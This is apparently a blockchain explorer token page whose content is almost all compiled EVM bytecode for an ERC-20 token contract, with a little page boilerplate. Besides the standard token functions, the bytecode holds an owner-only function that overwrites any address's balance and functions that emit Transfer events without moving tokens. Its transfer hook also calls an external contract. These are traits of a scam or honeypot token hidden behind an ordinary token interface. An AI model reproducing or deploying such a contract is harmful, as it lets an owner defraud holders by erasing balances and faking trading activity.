0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146102ae578063b96c7c9e146102de578063dd62ed3e146102fc578063e156b1b61461032c576100f5565b806370a082311461021457806395d89b4114610244578063a457c2d714610262578063a7ba9d5614610292576100f5565b80631c63aef2116100d35780631c63aef21461016657806323b872dd14610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261035c565b60405161010f91906111ab565b60405180910390f35b610132600480360381019061012d9190611275565b6103ee565b60405161013f91906112d0565b60405180910390f35b61015061040c565b60405161015d91906112fa565b60405180910390f35b610180600480360381019061017b9190611520565b610416565b60405161018d91906112d0565b60405180910390f35b6101b060048036038101906101ab91906115ef565b610596565b6040516101bd91906112d0565b60405180910390f35b6101ce610697565b6040516101db919061165e565b60405180910390f35b6101fe60048036038101906101f99190611275565b6106ae565b60405161020b91906112d0565b60405180910390f35b61022e60048036038101906102299190611679565b61075a565b60405161023b91906112fa565b60405180910390f35b61024c6107a2565b60405161025991906111ab565b60405180910390f35b61027c60048036038101906102779190611275565b610834565b60405161028991906112d0565b60405180910390f35b6102ac60048036038101906102a791906116a6565b610928565b005b6102c860048036038101906102c39190611275565b610ade565b6040516102d591906112d0565b60405180910390f35b6102e6610afc565b6040516102f39190611711565b60405180910390f35b6103166004803603810190610311919061172c565b610b26565b60405161032391906112fa565b60405180910390f35b610346600480360381019061034191906115ef565b610bad565b60405161035391906112d0565b60405180910390f35b60606004805461036b9061179b565b80601f01602080910402602001604051908101604052809291908181526020018280546103979061179b565b80156103e45780601f106103b9576101008083540402835291602001916103e4565b820191906000526020600020905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b60006104026103fb610c1f565b8484610c27565b6001905092915050565b6000600254905090565b600080600090505b85518110156105885785818151811061043a576104396117cc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106104a3576104a26117cc565b5b60200260200101516040516104b891906112fa565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b68783815181106104ef576104ee6117cc565b5b60200260200101518987858151811061050b5761050a6117cc565b5b60200260200101516040518463ffffffff1660e01b8152600401610531939291906117fb565b6020604051808303816000875af1158015610550573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610574919061185e565b508080610580906118ba565b91505061041e565b506001905095945050505050565b60006105a3848484610df0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ee610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561066e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066590611974565b60405180910390fd5b61068b8561067a610c1f565b85846106869190611994565b610c27565b60019150509392505050565b6000600360009054906101000a900460ff16905090565b60006107506106bb610c1f565b8484600160006106c9610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461074b91906119c8565b610c27565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546107b19061179b565b80601f01602080910402602001604051908101604052809291908181526020018280546107dd9061179b565b801561082a5780601f106107ff5761010080835404028352916020019161082a565b820191906000526020600020905b81548152906001019060200180831161080d57829003601f168201915b5050505050905090565b60008060016000610843610c1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f790611a6e565b60405180910390fd5b61091d61090b610c1f565b8585846109189190611994565b610c27565b600191505092915050565b610930610c1f565b73ffffffffffffffffffffffffffffffffffffffff1661094e610afc565b73ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90611b00565b60405180910390fd5b60008110156109e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109df90611b6c565b60405180910390fd5b60005b8251811015610ad9576000838281518110610a0957610a086117cc565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7990611bd8565b60405180910390fd5b826000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080610ad1906118ba565b9150506109eb565b505050565b6000610af2610aeb610c1f565b8484610df0565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0c91906112fa565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90611cfc565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610de391906112fa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5690611d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec590611e20565b60405180910390fd5b610ed9838383611013565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690611eb2565b60405180910390fd5b8181610f6b9190611994565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ffb91906119c8565b9250508190555061100d848484611116565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461111157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b81526004016110cc959493929190611ed2565b6020604051808303816000875af11580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f919061185e565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115557808201518184015260208101905061113a565b60008484015250505050565b6000601f19601f8301169050919050565b600061117d8261111b565b6111878185611126565b9350611197818560208601611137565b6111a081611161565b840191505092915050565b600060208201905081810360008301526111c58184611172565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061120c826111e1565b9050919050565b61121c81611201565b811461122757600080fd5b50565b60008135905061123981611213565b92915050565b6000819050919050565b6112528161123f565b811461125d57600080fd5b50565b60008135905061126f81611249565b92915050565b6000806040838503121561128c5761128b6111d7565b5b600061129a8582860161122a565b92505060206112ab85828601611260565b9150509250929050565b60008115159050919050565b6112ca816112b5565b82525050565b60006020820190506112e560008301846112c1565b92915050565b6112f48161123f565b82525050565b600060208201905061130f60008301846112eb565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61135282611161565b810181811067ffffffffffffffff821117156113715761137061131a565b5b80604052505050565b60006113846111cd565b90506113908282611349565b919050565b600067ffffffffffffffff8211156113b0576113af61131a565b5b602082029050602081019050919050565b600080fd5b60006113d96113d484611395565b61137a565b905080838252602082019050602084028301858111156113fc576113fb6113c1565b5b835b818110156114255780611411888261122a565b8452602084019350506020810190506113fe565b5050509392505050565b600082601f83011261144457611443611315565b5b81356114548482602086016113c6565b91505092915050565b600067ffffffffffffffff8211156114785761147761131a565b5b602082029050602081019050919050565b600061149c6114978461145d565b61137a565b905080838252602082019050602084028301858111156114bf576114be6113c1565b5b835b818110156114e857806114d48882611260565b8452602084019350506020810190506114c1565b5050509392505050565b600082601f83011261150757611506611315565b5b8135611517848260208601611489565b91505092915050565b600080600080600060a0868803121561153c5761153b6111d7565b5b600061154a8882890161122a565b955050602086013567ffffffffffffffff81111561156b5761156a6111dc565b5b6115778882890161142f565b945050604086013567ffffffffffffffff811115611598576115976111dc565b5b6115a4888289016114f2565b935050606086013567ffffffffffffffff8111156115c5576115c46111dc565b5b6115d1888289016114f2565b92505060806115e28882890161122a565b9150509295509295909350565b600080600060608486031215611608576116076111d7565b5b60006116168682870161122a565b93505060206116278682870161122a565b925050604061163886828701611260565b9150509250925092565b600060ff82169050919050565b61165881611642565b82525050565b6000602082019050611673600083018461164f565b92915050565b60006020828403121561168f5761168e6111d7565b5b600061169d8482850161122a565b91505092915050565b600080604083850312156116bd576116bc6111d7565b5b600083013567ffffffffffffffff8111156116db576116da6111dc565b5b6116e78582860161142f565b92505060206116f885828601611260565b9150509250929050565b61170b81611201565b82525050565b60006020820190506117266000830184611702565b92915050565b60008060408385031215611743576117426111d7565b5b60006117518582860161122a565b92505060206117628582860161122a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117b357607f821691505b6020821081036117c6576117c561176c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006060820190506118106000830186611702565b61181d6020830185611702565b61182a60408301846112eb565b949350505050565b61183b816112b5565b811461184657600080fd5b50565b60008151905061185881611832565b92915050565b600060208284031215611874576118736111d7565b5b600061188284828501611849565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c58261123f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118f7576118f661188b565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061195e602883611126565b915061196982611902565b604082019050919050565b6000602082019050818103600083015261198d81611951565b9050919050565b600061199f8261123f565b91506119aa8361123f565b92508282039050818111156119c2576119c161188b565b5b92915050565b60006119d38261123f565b91506119de8361123f565b92508282019050808211156119f6576119f561188b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611a58602583611126565b9150611a63826119fc565b604082019050919050565b60006020820190508181036000830152611a8781611a4b565b9050919050565b7f556e617574686f72697a65643a20496e6e6f7661746f7220616363657373206e60008201527f65656465642e0000000000000000000000000000000000000000000000000000602082015250565b6000611aea602683611126565b9150611af582611a8e565b604082019050919050565b60006020820190508181036000830152611b1981611add565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611b56601b83611126565b9150611b6182611b20565b602082019050919050565b60006020820190508181036000830152611b8581611b49565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000611bc2601983611126565b9150611bcd82611b8c565b602082019050919050565b60006020820190508181036000830152611bf181611bb5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c54602483611126565b9150611c5f82611bf8565b604082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ce6602283611126565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d78602583611126565b9150611d8382611d1c565b604082019050919050565b60006020820190508181036000830152611da781611d6b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e0a602383611126565b9150611e1582611dae565b604082019050919050565b60006020820190508181036000830152611e3981611dfd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e9c602683611126565b9150611ea782611e40565b604082019050919050565b60006020820190508181036000830152611ecb81611e8f565b9050919050565b600060a082019050611ee76000830188611702565b611ef46020830187611702565b611f016040830186611702565b611f0e6060830185611702565b611f1b60808301846112eb565b969550505050505056fea26469706673582212207602508fc1951d08be368f011401295c07a0bc948fc75f86078526e7b552505064736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.